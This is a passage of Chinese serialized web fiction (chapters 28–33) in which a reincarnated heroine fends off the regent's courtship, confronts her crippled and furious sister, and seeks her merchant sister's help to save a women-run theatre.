院内阳光正好,柔和的光线暖洋洋地洒在每个人的身上,折射出七彩的颜色。褚梅瑛只着了一件白色的中衣,攥紧拳头,挥汗如雨。身旁的长辞有模有样地学着,神情极为认真。 “哈!” 褚梅瑛的拳头虎虎生风,震得旁边的树木都晃了几晃。叶袭宸暗暗赞叹,原以为褚梅瑛也是个武功不济的,看来并非如此。她已经有些忍不住想和褚梅瑛切磋几招了,只是可惜自己如今身上还有伤。 “看够了没有?” 正在练武的褚梅瑛倏地出现在叶袭宸面前,捏了捏手腕:“有没有被本姑娘的英姿惊艳到?” 叶袭宸轻轻地扯了扯唇角:“我若说有呢?” “那就随我一起练武强身吧,省得刮阵风都能把你吹倒了。” “若说没有呢?” “那便是你没有眼光,审美不行。”褚梅瑛抚了抚下巴:“话说你究竟是看上姓唐的什么了,改日本姑娘也去学上一学。” 叶袭宸笑了,本欲开口,外头却传来通传的声音。 “摄政王到——” 29. 第 29 章 昨夜说了要来,如今还真来了。叶袭宸给了褚梅瑛一个眼神,褚梅瑛不满地撇了撇嘴,闪身躲避到一旁去了。 几乎就在褚梅瑛躲起来的瞬间,唐锶谐便进来了,直奔叶袭宸,声音不由得低柔了些:“昨晚休息得如何?” “尚可。”叶袭宸打了一个哈欠。 这个哈欠是真心实意的,她的确是有些没睡饱。其实也是想让唐锶谐赶紧离开,别有事没事在她这里逗留。 然而唐锶谐像是有些没瞧出来似的,忙关切问道:“是不是药吃得多了些?怎么如此嗜睡?” 叶袭宸摇了摇头:“许是伤口有些痛,只想安安静静地躺在床上。” “不可。”唐锶谐倏地换了一副有些严肃的模样:“吃些东西再睡。” “好吧。”叶袭宸道:“若云,去准备些东西吃。”说罢又看向唐锶谐:“你有什么特别想吃的。” 唐锶谐的唇角勾着笑意:“你喜欢吃什么,我便喜欢吃什么。” 他的声音不算温柔,只是有些低沉而已。听在耳中,却莫名有几分柔情。叶袭宸的耳朵有些遭不住,身体不由得轻轻颤了一下,只觉得浑身的鸡皮疙瘩都要起来了。 她宁愿和唐锶谐刀剑相向大战八百个回合,也不想在这里听他说些风花雪月的话。这也就是今世,要是搁在前世,兵权在握的情况下,她直接给唐锶谐来个透心凉,然后其麾下的兵马全盘吃下。 瞎琢磨的功夫,叶袭宸已经和唐锶谐回了屋,饭桌上摆满了若云精心准备的饭菜。唐锶谐没有喝酒的习惯,吃起饭来也是一板一眼,严肃得不得了。食不言寝不语更是他的人生信条,秉持得厉害。 叶袭宸则是完全没有胃口,看着唐锶谐就坐在对面,真是一口也难以下咽。说来也有些奇怪,算上昨天,他来了沈府也有两三回了。沈奉这个老狐狸就没露过面,龟缩在自己的院子里不知道在酝酿什么阴谋。 她根本不认为沈奉会放弃沈秋实这个儿子,虽然先前因为沈秋实的病他一直不怎么看好他,但是到底是打断骨头连着筋,真到要了性命的时候,沈奉还是会尽量保下这个儿子的。 叶袭宸不由得叹息一声,唐锶谐见状,破天荒头一遭开了口:“在为何事而忧愁?” 叶袭宸也不隐瞒:“皇上的病好些了吗?” 唐锶谐的动作凝滞了下:“昨日我才进宫看过,皇上还没有醒来。” 叶袭宸有些自责:“都是沈府的过错。” 唐锶谐安慰道:“是沈秋实的过错,与你无关。” 叶袭宸摇头道:“沈秋实是沈府的人,而我也是沈府的人。” 唐锶谐的神色严肃了些:“沈秋实与沈星月不一样,他冒犯的是皇上,倘若是我的话,我可以既往不咎,但皇上的事无小事。你若是想为沈秋实求情的话,就免开尊口吧。” 叶袭宸乖乖闭了嘴巴。 为沈秋实求情?做他的春秋大梦去吧。话虽然这么说,但是表面功夫还是要做足的。 两人安静着吃完了饭,叶袭宸困得连眼皮都快睁不开了,唐锶谐却似没有看到一般道:“随我出去走走。” “我困了。”叶袭宸照实道。 “多出去走走,对你的伤口恢复有好处。” 唐锶谐的视线在叶袭宸脖颈和手腕上缠绕的白色纱布上逡巡,眼底闪过一丝心疼。 叶袭宸叹息一声:“好吧。” 什么对伤口恢复有好处,叶袭宸觉得净是些废话。唐锶谐就是想看她疲惫不堪的样子,然后好发挥他的善心,什么借机牵个小手来个公主抱什么的。这厮看着一本正经,实际花花肠子可多了。 叶袭宸依旧不能骑马,也不想和唐锶谐同乘一骑。唐锶谐似是知道一般,直接准备了马车。 马车有规律的摆动幅度让叶袭宸有些昏昏欲睡,唐锶谐不由得坐得离她近了些。叶袭宸眼下困得厉害,也不管什么了,直接靠在了唐锶谐的肩膀上。 唐锶谐的身子一僵。他侧过头去看她,女子眉头紧皱,在睡梦中也不甚安分。他禁不住伸手将叶袭宸揽入怀里,抬手轻轻地揉捏着她的眉心。 睡梦中的叶袭宸似有感觉,眉头不由得舒展了些,紧抿着的唇角也不由得微微上扬了些。 马车停在了郊外的一处凉亭。此处风景迤逦,小桥流水,杨柳依依。微风吹拂起叶袭宸的裙摆,衬托得整个人都飘然俊逸,仿佛下一秒便会羽化而登仙。 唐锶谐坐于凉亭内,古琴前,修长的手指轻轻拨动着琴弦。往日束得一丝不苟的发冠如今有了几分凌乱,几缕发丝随风轻轻飘荡,竟意外有几分别样的美丽。 叶袭宸双手环胸坐在栏杆上,双腿屈起,脊背靠着深红色的柱子。 唐锶谐弹奏的曲子听起来有些耳熟,似乎是在前几日的宴会上她弹的那首。本应是柔情脉脉,可是她却越听越觉得发困。 叶袭宸打了个哈欠,脑袋往后一靠,径直闭上了双眼。 吃完饭就把她拉来这里听他弹琴,这个唐锶谐和花疏玉有得一拼。 叶袭宸的哈欠不断,但是却不敢轻易睡着。毕竟这里不是卧房,若是睡着了,还得劳烦唐锶谐抱她回去。倘若她是抱人的那个,她倒是十分愿意。 长长的柳枝没入水中,稀疏的阳光从缝隙中洒进来,碎裂成残影在水面上轻轻摇晃着。几只野鸭子快活地在水面上嬉戏,扑腾着翅膀发出高亢的叫声。 叶袭宸不由得掏了掏耳朵,正要起身坐得离这群野鸭子远些时,脑袋却撞上唐锶谐温热的胸膛。 “困了?” 唐锶谐伸手捋了捋叶袭宸微乱的发丝。 废话。 叶袭宸点头。 唐锶谐的眼睛看向平静的水面,双手负在身后,声音被风吹散。 “这里以前是你最喜欢来的地方。”唐锶谐道:“你说你很是喜欢这里的风景,置身这里,总有种超然物外的感觉。” 天际飞过两排白色的飞鸟,其中一只挥了挥翅膀落在水面上,低头用嘴巴整理着自己的羽毛。 唐锶谐望着那只飞鸟,声音压得极低:“看见那只飞鸟,你想起了什么?” 叶袭宸眼睛都快睁不开了,她无力地抬起眼皮,随口胡诌道:“飞鸟泪两行,湖水情荡漾。” 她故意 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在他眼中,眼前的沈道溦虽不若先前端庄持重了,但是却平添了几分活人的气息。以前只觉得她是精致的雕塑,现在却像是活蹦乱跳的真人了,很像是…… 那个名字噎在嘴边,唐锶谐不愿说出来。看似他每次提起时总是一副极为轻松的模样,但只有他自己知道,每回都要在心里默念几次,才能如此云淡风轻地说出那三个字来。 肩膀倏地被人拍了几下,叶袭宸笑得开心:“回吧。” 唐锶谐有些意外地挑挑眉。 平生不说没被女子拍过几次肩膀,就连男子也没有。 叶袭宸已经坐上了马车,唐锶谐紧随而至。马车回到了沈府,叶袭宸跳下车来,向唐锶谐打招呼:“不用送我进去了,你回吧。” 唐锶谐的马车离开了。 叶袭宸回到了暖雪阁,若云急匆匆过来,神情焦急:“主子,二小姐被人抬回来了,正吵着叫着让你过去呢。” “嗯。” 叶袭宸点点头,就要往正义阁过去。若云急忙拉住她,紧张兮兮:“主子,你真要过去吗?” “怎么?” 若云吞了下口水:“我看二小姐的架势,像是要生吞活剥了主子。” “不怕。”叶袭宸道:“量她也不敢拿我怎么样。”她拍了拍若云的肩膀:“放宽心。” 叶袭宸去了正义阁,还没进屋就听到沈星月大呼小叫的声音了。她叹了一口气,早晚有这么一日,迟早得面对。 三步并作两步进了屋,沈星月四肢软绵绵地瘫在床上,却梗着脖子叫嚷得厉害。青筋暴起,血管都几乎要冲破了。 “沈道溦你个混蛋!我被你骗了!我要杀了你!” “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!!!!!!!!!!!!!!!!” 声音震耳欲聋,叶袭宸都几乎生出一种屋顶都要被掀翻的错觉。她上前几步,来到让沈星月能轻而易举够到她的地方。 “我杀了你!” 沈星月猛地暴起,一把掐住叶袭宸的脖子狠狠将其掼到墙上! 30. 第 30 章 第30章 “去死吧!!!” 沈星月虽然被废了武功,但是力气却还是出奇地大。但叶袭宸看得出来,只是强弩之末而已。她迅速出手在沈星月的胳肢窝里狠狠戳了一下,沈星月吃痛,叶袭宸趁机擒住沈星月的手腕,直接把她推回了床上。 就这么一下子,沈星月已经连下床的力气都没有了。她趴在床沿上喘着粗气,一双眼睛死死地瞪着叶袭宸:“沈道溦!你个挨千刀的东西!是你叫人废了我的武功是不是!还假惺惺地到牢里看我,让我对你感恩戴德!你个混蛋!王八蛋!我早晚杀了你!” 面对沈星月的怒火,叶袭宸只是静静地看着她。沈星月更气了,指着叶袭宸的鼻子骂:“你像个木头似的杵在那里干什么?为什么不说话!你倒是给我句解释!” “有什么好解释的?”叶袭宸云淡风轻道:“不错,是我叫人废了你的武功,省得你出去惹事生非。” 沈星月一愣:“真的是你?你个乌龟王八蛋!” “都这样了,嘴巴还不依不饶的。”叶袭宸嗤笑一声,她蹲下身来,右手轻轻抬起她的下巴:“你现在除了放狠话还能干什么?” “你!”沈星月紧紧咬着下唇,倏地放声大笑:“我真是瞎了眼,居然相信你这样的人!你就是想找个借口堂而皇之地废掉我的武功是吗?你个奸佞小人!” 叶袭宸咧嘴一笑,笑容看起来竟然有几分森然:“不错,我就是个奸佞小人!但是你现在只能像一条狗似的趴在床上汪汪,能奈我何?” “小人得志!”沈星月怒骂道:“我最是讨厌你这副嘴脸!” “讨厌我你又能奈我何?”叶袭宸拍了拍沈星月的脸颊,侮辱意味十足:“有本事在这里狗叫,没本事找我复仇,你这一辈子也就只能这样了。” “你……” 沈星月气得不轻,一口鲜血直接喷了出来。叶袭宸躲闪不及,好巧不巧被喷了满脸。 沈星月哈哈大笑起来:“沈道溦,让你也尝尝鲜血的味道!” 叶袭宸掏出手帕面无表情地擦着,“看在你这副惨样的份儿上,我就不跟你计较了。不过你记住了,以后别想习武了,我会找人看着你的。” “你!”沈星月气得用拳头捶床:“你个毒妇!” “呵。”叶袭宸冷笑一声:“你自己在这里慢慢折腾吧。” 叶袭宸离开了沈星月的正义阁,若云在外面担忧地等着,见自家主子脸上还有残留的血迹,着急道:“主子,你……你受伤了?” “没有。”叶袭宸摇了摇头:“是星月被我气吐血了,我脸上的血都是她的。” “啊?”若云着实吃了一惊,“难道二小姐说的都是真的?真的是主子叫人废了她的武功?” “不然呢?难道让摄政王砍了她的脑袋?” 若云恍然大悟:“原来主子是为了保全二小姐才这么做的。” “武功废了就废了,算是给她个教训,以后不能再这么毛躁行事了。” 若云有些为叶袭宸打抱不平:“主子对二小姐用心良苦,可是二小姐却……” “不提她了,这几天你派人看着点儿。” 叶袭宸说完后就回了暖雪阁,褚梅瑛正在屋里啃鸡爪子,见她回来了,友好地伸了伸自己的爪子和叶袭宸打招呼:“沈大小姐回来了。” “鸡爪子好吃吗?” “当然好吃了。”褚梅瑛津津有味地啃着:“我听说你的二妹妹回来了。” “是。”叶袭宸给自己倒了杯茶。 “嚷嚷着要杀了你呢。”褚梅瑛一脸八卦。 “是。”叶袭宸喝了一口茶。 褚梅瑛看了叶袭宸一眼:“你似乎并不在意这件事。” 叶袭宸笑了一声:“想要我命的人多了,我要是个个都去操心,还没等他们来杀我,我就累死了。” “这件事其实不用你操心。” 叶袭宸抬眼:“什么意思?” “什么意思?”褚梅瑛把还没啃完的鸡爪子直接往桌子上一拍,“我直接帮你把她解决了。”她哼了一声:“一个小丫头不知道审时度势,都这样了还不知道都是因为你她才活下来的。就这样不识好歹的人,留着早晚是祸害。” “祸害不祸害的不是你说了算。”叶袭宸的神情严厉了些。 “你沈大小姐连自己的情郎都下得去手,怎么到了这件事情上反倒犹犹豫豫起来了。”褚梅瑛眯了眯眼睛:“难道是我看错了,你其实不是个狠角色?” “我的家事无需你操心。”叶袭宸道:“来说说另外一件事。” “什么事?”褚梅瑛的态度生硬了很多,她拿起还没啃完的鸡爪子,没滋没味地吃着。 叶袭宸不想绕弯子,直接道:“你得赶紧离开沈府。” “为什么呀?”褚梅瑛调侃道:“怕我真对你的妹妹下了手?呵,你也太看得起我了。我如今是寄人篱下,端你的饭碗,不讨好你,反而跟你对着干,这对我有什么好处?” 叶袭宸摇头:“非也。” “不是因为这个?那还能因为点儿什么?”褚梅瑛舔了舔自己的手指:“难道是看我吃得太多了,怕养不起我啊?” 叶袭宸被她这副模样逗笑了:“这是说的什么话?沈府上下几十口人,难道还养不起你一个?” “从前也便罢了,如今沈府不是快败落了吗?”褚梅瑛十分心直口快:“办个宴会不仅把皇上吃倒了,还有人当众对摄政王挥鞭子,啧啧,沈府以后的日子可想而知啊。” “俗话说,瘦死的骆驼比马大。”叶袭宸给褚梅瑛倒了一杯茶:“沈府再不济,养活你还是绰绰有余的。” “那还能因为什么?”褚梅瑛喝了一口茶,随即便皱起了眉头:“苦了吧唧的,你们这些有身份的人怎么都爱喝这个?” “因为你这张脸。” “我这张脸?”褚梅瑛皱着眉头把一杯茶喝完:“我这张脸怎么了?” “唐锶谐早晚会查到梅三刀身上,等他画出梅三刀的画像,你岂不是插翅难飞?”叶袭宸客观道:“你每次都避着他也不是办法,沈府人多眼杂,我们再小心总有露了马脚的时候。” “说的有理。”褚梅瑛一手把玩着茶杯,一手托着腮,愁眉苦脸道:“但我如今能去哪里呢?” 叶袭宸细细思索着,喝盏茶的功夫已经想到了:“我倒是想起个地方,不知你愿不愿意去?” “事到如今, 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叶袭宸起身,正要叫若云去准备马车,还没出声,若云已经急匆匆进来了:“主子,沈三小姐正在府门口等着见你。” “见我?” 怎么来得如此不巧。 沈府出事后,她就猜想已经嫁做人妇的三小姐沈宜茹或是在外经商的四小姐沈言商会来,但是这个时候来是她没有想到的。 叶袭宸示意褚梅瑛:“稍安勿躁,你且先在这里坐会儿,我出去看看。” 叶袭宸与若云一同出门,问道:“为何不请她进来?” “沈三小姐说她已经与老爷有言在先,他在世时,绝不会踏入沈府一步。” “有这等事?”叶袭宸停住了脚步:“是何缘由?” 若云道:“当年沈三小姐寻死觅活地要嫁给一介穷书生,老爷不愿意,她便与沈府三击掌断绝父女关系了。” 又是老生常谈的话本子故事了。 叶袭宸不由得问道:“如今呢?” “如今那个穷书生已经于去年高中探花,现已经是朝阳县县尉了。” 帝京实行“东西分治”,以莲花大街为分界线,东为朝阳县,西为西城县。那个穷书生能留在朝阳县,可见是有几分本事的。 “两人如今感情状况如何?” “举案齐眉,十分恩爱。” “那她可有说今日来所为何事?” “说了。”若云道:“她说仅仅是来看大小姐的。” “一个人来的吗?” “那个穷书生也来了。” “穷书生叫什么?” 若云想了想:“汪安节。” “嗯。” 叶袭宸微微点头,说话间已经到了沈府门口。只见一辆华丽的马车前,一对儿绝色佳人并肩而立。一个着粉色衣衫,肤若凝脂。另一个则着玄色衣袍,神情淡然。 “长姐。” 见叶袭宸来了,沈宜茹上前几步扑在她的怀里。眼睛红肿,泪水禁不住掉下来:“家里出了这么大的事情,长姐怎么也不告诉我。” 31. 第 31 章 第31章 叶袭宸本想将沈宜茹和汪安节迎进府来,但是沈宜茹死活不肯踏入沈府半步。她哭得梨花带雨,楚楚动人,饶是叶袭宸也有些招架不住了。 “三妹妹,在大街上哭哭啼啼的成何体统?”叶袭宸细细揩去沈宜茹脸上的泪水:“叫旁人看我们沈府的笑话。” “长姐。”沈宜茹拿起帕子拭泪:“我今日来就是想与你们说一声,我与沈府同气连枝,以后若是有难处,父亲开不了口的话,长姐你尽管开口。” 叶袭宸温柔一笑:“我知道了。” 沈宜茹努力吸了吸鼻子,放着狠话:“以后谁若是想欺负我们,也要掂量一下。” 叶袭宸算是明白了,敢情她是来为沈府撑腰的。心底不由得一阵触动,连连点头。 沈宜茹放了心,将身后的汪安节拉到叶袭宸身旁:“长姐,这是你三妹婿。” “三妹婿,久仰大名,今日终于得见。” 叶袭宸笑得坦荡,汪安节礼貌地微微颔首:“长姐。” “他有些腼腆。”沈宜茹的脸上洋溢着幸福的笑容:“可是待我极好,长姐就放心吧。” “嗯。”叶袭宸点点头,上下打量了汪安节一眼:“瞧三妹婿这般一表人才,人品定是差不了。” 汪安节不卑不亢地朝叶袭宸行礼:“长姐谬赞了。” 沈宜茹执起叶袭宸的手,语重心长道:“长姐,听说皇上为你和摄政王赐了婚。日后嫁了人,就把姓叶的忘了吧。” 叶袭宸的眉心突突跳了两下:“姓叶的?” “就是那个叶袭宸。”沈宜茹劝说道:“我知道长姐欣赏她,可是摄政王亲手将其斩杀,长姐日后就莫要再学她了,省得惹摄政王不高兴。” 怎么一个两个的都说这种类似的话。 叶袭宸扶了扶额头:“我知道了。” 沈宜茹放心地点了点头,上了马车与汪安节一同离开。叶袭宸看着马车渐行渐远,一双好看的眉眼不由得弯了起来。 褚梅瑛从门后面探出脑袋,鬼鬼祟祟地看了两圈,见没有旁的生人了,才大摇大摆地走出来。 “原来你那个三妹婿就是朝阳县尉。” 叶袭宸侧头看她:“你见过他?” 褚梅瑛双手环胸:“你忘记了?昨日带着官兵追捕我的就是他。” “这我倒没注意。”叶袭宸施施然笑道:“昨日只顾着看你了。” “哦?”褚梅瑛挑了挑眉:“这句话的意思我可以理解为你看上我了吗?” 叶袭宸无奈道:“我看上你的命了。” 说话间,若云已经将马车准备好了。长辞驾车,叶袭宸与褚梅瑛以及若云坐在车里。不得不说,长辞的驾车技术是越发地好了,这马车颠簸得很是规律。叶袭宸本就犯困,打了几个哈欠后就枕在若云的腿上睡着了。 若云心疼地抚摸着叶袭宸脖子上缠绕的纱布,狠狠地瞪了褚梅瑛一眼。她不想和褚梅瑛吵架,主子才刚睡着,她不想打搅主子。但又实在忍不住不去怨恨她,所以只能用这种幽怨的目光瞪着褚梅瑛。 褚梅瑛觉得若云这个小丫头十分有趣,禁不住撑着膝盖,支着下巴瞧着她。 一个瘪着嘴巴,一个唇角微弯,这副景象怎么看怎么有些好笑。褚梅瑛禁不住先破了功,噗嗤一声笑出来。若云瞪着她,心底对褚梅瑛更是不满了。 马车很快就到了兰庭戏院,若云将叶袭宸唤醒。三人一同下了马车,长辞在外头看车。 周盈在柜台后面打着算盘,脸上愁容不减。她斜斜地依靠着柜台,托着下巴,手指规律地在脸颊上敲着。 外头夕阳渐沉,客人稀稀疏疏地走了大半,戏台子也搭不起来了。 该准备收拾下然后回去歇着了。 周盈才从柜台后面走出来,迎面便遇到叶袭宸一行人。脸上的惨淡愁容顿时消失不见,她眉开眼笑地迎了上去:“这是哪儿阵风把您吹来了,我说今日怎么艳阳高照,原来是老天预示到金小姐大驾光临,我们这鸟不拉屎的地方也蓬荜生辉了。” 褚梅瑛撇嘴。 比我还能说话呢。 叶袭宸笑了笑:“老板,我给你带来了一位朋友。” 周盈的视线落到褚梅瑛身上,眼睛里闪烁着光芒:“这位姑娘一看就是从大户人家出来的,这通身的气派,看起来竟不像是在外头闯荡江湖的,倒像是金小姐的亲生姐妹一般。” 褚梅瑛没想到眼前这个打扮得花枝招展的老板居然能一眼看出自己来自江湖,不由得多看了周盈几眼:“老板真是见多识广。”她抱着剑道:“在下褚梅瑛,有幸结识。” “哪里哪里。”周盈谦虚道:“是储姑娘气质非凡,叫人难以忽视,能结识阁下,乃是人生一大幸事。” 几人寒暄几句后,就上到了二楼的雅间。若云在外头守着门,叶袭宸与褚梅瑛以及周盈坐在里头。 周盈将窗子打开,潮湿的夜风吹了进来,外头行人来来往往。随着夜幕降临,红色的灯笼一盏一盏亮起,看起来很是温馨祥和。 她看向叶袭宸,微微欠身,语气不似先前的轻浮,而是多了几分敬意:“是我眼拙,上次竟没有认出沈状元的身份。” 她混迹风尘之中,最是艳羡这种能识文断字的世家小姐,更别说眼前这位还中过状元。她见过太多书生落榜时痛哭流涕的样子,最是知晓状元的含金量。 “哦?”叶袭宸端坐桌前,微微一笑:“那这次你是如何知道的?” 周影言简意赅:“几日前沈府的宴会上。” “你扮成了世家小姐混在里面?” 周盈笑着点头:“是。” 叶袭宸心道,看来沈秋实的能力果然不济,他可是见过周盈的,居然都能让她混了进去。 外强中干的玩意儿。 叶袭宸摆了摆手道:“不提当年之事了,即便是状元又能如何,如今我身无官职,不过是个坐吃祖产的败家子而已。” 周盈不置可否,只是低头给两位斟酒。叶袭宸正要偷摸着喝一口,褚梅瑛却劈手夺过她的酒杯:“你身上有伤,不能喝酒。” “是我疏忽了。”周盈立即道:“我去叫人上壶好茶来。” 周盈离开了,叶袭宸怨恨地看了褚梅瑛一眼:“好不容易若云不在这里,没法管着我了,现在又多了一个你出来。” “哼。”褚梅瑛双手环胸:“你本就因我受伤,若是再因喝酒感染了伤口,若云那个小丫头不得吃了我。” “……” 叶袭宸无可奈何道:“你何时开始惧怕若云 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周盈道:“话虽如此说,但长久下去不是法子,我们兰庭戏院也该钻研下赚银子的法子了。” “确是如此。”叶袭宸点点头:“究竟有什么法子能不违背初衷的同时又能赚到银子呢?” 前世她似乎从未考虑过这一层,做草寇时靠打家劫舍,做将军时靠皇上赏赐,做皇帝时的确该考虑如何生财了。但是彼时的她几乎被仇恨冲昏了头脑,只想简单粗暴地掠取钱财。国库空虚了就去抄几个贪官污吏的家,从未想过如何赚取银两。 更别说还有个前提条件不违背初衷了。 平心而论,她对于提升女子地位的做法只是停留在表面上,从未想过从本质上进行突破。 就比如这家兰庭戏院,纯粹是为了对抗专门为男子的秦楼楚馆而已。 叶袭宸不由得看向对面的周盈,又随着周盈一道看向褚梅瑛。 褚梅瑛在这方面一窍不通,见叶袭宸和周盈都看向自己,她不禁往后缩了缩:“都看我作甚?我只会打打杀杀,哪儿会什么赚银子的法子?” 周盈叹了一口气:“我先前缺银子了就去接客,除了接客我也不会什么别的法子。” 褚梅瑛苦恼道:“我先前就是坐吃祖产,祖产吃没了就去接些暗杀单子,自然也不知如何赚取银两。” 三人冥思苦想。 叶袭宸捏了捏自己的眉心,心道若是花疏玉在就好了,她指定有法子。可如今只能自己想法子了,要不就只能去请教别人。 可是请教谁合适呢?哪里有适合女子赚取银两的法子? 想起今日下午哭哭啼啼过来撑腰的沈府三小姐沈宜茹,叶袭宸不由自主地想到了在外经商的沈府四小姐沈言商。 她应该有更好的法子吧。 说去便去。 叶袭宸向周盈与褚梅瑛说了一声,便要离开。褚梅瑛拉住她:“再急也不急在这一时半刻,如今天色已晚,我看你还是明日去吧。” 叶袭宸点了点头道:“自然。” “那你方才火急火燎地做什么?” “回去睡觉。” 褚梅瑛:“……” 早说不就得了。 32. 第 32 章 叶袭宸实在是觉得困,回了暖雪阁就直扑床榻,几乎是沾着枕头就睡着了。翌日醒来的时候日头已经升得老高了,若云依旧端着水盆进来,眉头几乎拧成了疙瘩。 “主子,今日你还要出去吗?” 叶袭宸懒懒地打了个哈欠。 如今褚梅瑛已经在兰庭戏院住下,沈星月也回来了。沈秋实还在牢里,楚无暇在外头溜达。似乎并没有什么值得操心的事情了,但是洗了把脸的功夫,她的意识清醒了许多。 今日还要去找沈言商一趟。 叶袭宸接过若云递过来的帕子,仔细地擦着脸:“若云,你对言商了解多少?” “主子问的是四小姐吗?” “自然。” “奴婢只知道当时老爷让四小姐学女红,四小姐高兴地去学了,也得到了老爷的夸奖,但是回来后四小姐却闷闷不乐。” “为何?” “老爷夸奖四小姐的女红学得精彩,以后为夫家绣个荷包香囊什么的,定能让日后的夫君很是欢喜。” 叶袭宸冷哼一声:“难怪言商会不高兴,这句话谁听了不生气呢。” 吃过早饭后,叶袭宸便出了门。沈言商开的铺子是帝京最是有名的布庄,名曰锦云庄。老板人称言娘子,各类布匹绸缎都有。然要想成为最是有名的,光有这些还远远不够。平心而论,许多人都是冲着老板言娘子去的。此举倒不是因为言娘子本人的相貌有多出众,而是因为她有一手绝活。 叶袭宸到锦云庄的时候正巧看到她表演。 锦云庄的外面围了一群看热闹的人,沈言商被众人簇拥在前,一手拿针,一手持笔,同时身体还在旋转跳舞。左手旁是用织架悬挂着一匹上好的布,右手旁则是一张急等作画的白纸。她一面旋转着身体,跳出曼妙的舞姿,一面双手并用地在纸上作画,在布上绣花。 叶袭宸站在人群之外,眼中流露出欣赏。 布匹上的花栩栩如生,连蜜蜂都难以分出真假。白纸上的墨竹修雅端正,颇具四君子之风。而她本人旋转起来的舞裙,也似一只光彩照人的蝴蝶一般,仿佛下一秒就会飘然远去。 人群中不时传出喝彩的声音,纷纷涌入布庄争先恐后地买布,几个伙计忙得脚都不离地了。沈言商将视线从那些客人身上收回,慢慢转向等待站在外头的叶袭宸,语气淡漠。 “在外头站了这么久,还是进来吧。” 沈言商将叶袭宸带上了二楼。门关上的刹那,她脸上的笑容就卸了下来。身体依靠在门上,沈言商双手环胸,面无表情道:“我不会回沈府的,长姐还是免开尊口吧。” 叶袭宸站在她对面,也不想费口舌:“我不是来让你回去的。” 沈言商的神情有几分惊讶:“那你来做什么?” “有事请教。” 沈言商皱了皱眉头,很是不解:“你有什么事要来请教我?” “做生意。”叶袭宸丝毫不掩饰:“我想和你学习做生意。” “做生意?”沈言商冷哼一声,绕过叶袭宸走到窗边坐下,端起茶水喝了一口后才道:“你和父亲不是最是反对做生意吗?” 叶袭宸不否认:“不错。但其中是有原因的,士农工商,商人的地位最低。” “我知道,父亲不过就是怕在其他达官贵人面前丢了面子。”沈言商重重地将茶杯放在桌子上,自嘲道:“甚至为此将我逐出家门。” “这事儿是父亲做得不妥。” 沈言商看向叶袭宸,有些意外地挑了挑眉:“今日太阳打西边出来了,这话居然能从你口中说出来,先前你可是将父亲的话奉为金科玉律的。” “先去看是先前,现在是现在。”叶袭宸的唇角始终噙着笑意:“现在我改变自己的看法了,四妹,你做得很对,也很棒。”她的神情很是温柔,“方才我在外头看你表演,看到众人为你喝彩鼓掌,我真的从心底里为你高兴。” 看到叶袭宸面上真挚的笑容,沈言商的冷脸有些维持不下去了,似乎是才觉得一直让叶袭宸站着有些不妥。她抬了抬下巴,指了指自己对面的座位,“坐吧。” 叶袭宸在沈言商的对面坐下,“多谢。” “谢什么?”沈言商冷哼一声:“长姐是目前沈府唯一还愿意来看我的人,其他的姐妹兄弟都像躲瘟神似的,躲我躲得远远的。” “这话你对兄长沈秋实也说过吧。” 沈言商愣了一愣,末了笑出了声音:“原来你是来兴师问罪的。” 叶袭宸也有些意外:“竟是真的?” “不错。”沈言商抬眼:“不过,你是如何知晓的?” “瞎猜的而已。” “瞎猜也要有什么根据吧。” 叶袭宸的食指轻轻敲了敲桌子:“海错。” “我是请过兄长吃过海错,也吃过古董羹。怎么?”沈言商的眉心跳了几下:“兄长获罪与海错有关?” 叶袭宸点头:“可以这么说。” 沈言商轻轻地笑了一声:“几个月前兄长来锦云庄来寻我,我当时也是十分意外。兄长说手头拮据,要借几个小钱,还说会帮我介绍几个阔气的客人。我觉得这买卖划得来,便请他吃了顿饭。后来他又来了几次,回回都要吃顿饭才走。” 叶袭宸若有所思:“官商勾结?” 沈言商冷笑一声:“大抵是吧。我刚从沈府出来时身无分文,他倒是没考虑过这个。如今见我越做越红火了,才想来这一套。” “你把他当兄长,他只当你是寻常的商人。” “错。”沈言商神情严肃:“在我身无分文被赶出沈府后,我就再也不会拿沈府的任何一个人当家人了。自然,也包括你。所谓的什么亲情,都是场面话而已。” “这句话能从你口中说出,就代表你已经把我当成家人了。”叶袭宸斟酌着言辞:“或者可以说是关系非同一般的人。” 沈言商神情难看,半晌她才笑了笑道:“如今是你开始打着亲情牌说场面话了吗?” “算是吧。”叶袭宸道:“我有个朋友开了家戏院,如果你可以把它盘活,什么条件随你开。” “戏院?”沈言商讥讽道:“什么戏院能败落到需要你来叫我去盘活它?多上几出喜闻乐见的折子戏不就成了。” “可否 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沈言商盯着叶袭宸看了半晌,良久后才笑出了声音:“说得倒是,不过这可不是你的一贯作风。” “人都是会变的,我也不例外。” 沈言商笑着点点头:“变得好,看来日后父亲没有安生日子过了。” 叶袭宸趁机道:“他若是把我赶出家门,不知可否来投奔你?” “我看用不到我吧。”沈言商道:“我依稀记得皇上是为你和摄政王赐了婚的。” 叶袭宸笑了两声:“好了好了,别扯一些没用的了,还是说兰庭戏院吧。” “我有法子。”沈言商郑重道:“可是客人不能只局限于女子。” 叶袭宸微微蹙眉。 “我知道兰庭戏院的规矩,所以我才丑话说在前头。”沈言商的口吻不容置疑:“我们要看清眼前的形势,如今在家庭中占经济主导地位的依旧是男子。我们的目的是赚取银两,而不是一味地去坚持什么。而且,这个坚持在如今的形势下也没有什么意义。” 叶袭宸仍旧在考虑。 沈言商趁热打铁道:“若想兰庭戏院继续承办下去,首先须得改变女子的思想。当然,自长公主掌权后,我大衍朝女子的思想已然改变许多。但是还远远不够,这种思想的改变仅存在于上层女子中,而且也是极少数,寻常家庭的女子依旧是过着饱受压迫和欺凌的日子。” 叶袭宸点头:“你说得有理。但兰庭戏院是我朋友的,我需得和她们商议一下。” “可以。”沈言商点了点头。 叶袭宸已经起身,却又立即坐了下去:“要不你与我一同去吧。” 沈言商点了头,将庄里的生意吩咐了一下后就与叶袭宸一同上了马车。才到兰庭戏院,褚梅瑛就巴巴地从里面迎了出来。 “大小姐,你可算是来了,我对你可是想念得紧呐!”褚梅瑛看到了从马车上下来的沈言商,眉开眼笑道:“这又是哪位姑娘,模样生得如此……” “好”那个字还未说出口,褚梅瑛便看清了沈言商的长相,神情愕然:“是你?” 沈言商蹙眉:“居然是你。” 33. 第 33 章 第33章 叶袭宸疑惑极了:“你们认识?” 沈言商冷哼一声:“认识,还不是一般的认识。” 叶袭宸看看褚梅瑛,后者抓了抓后脑勺,一脸的尴尬。她又看看沈言商,后者则是一脸怨愤,恨不得立即将对方暴打一顿的感觉。 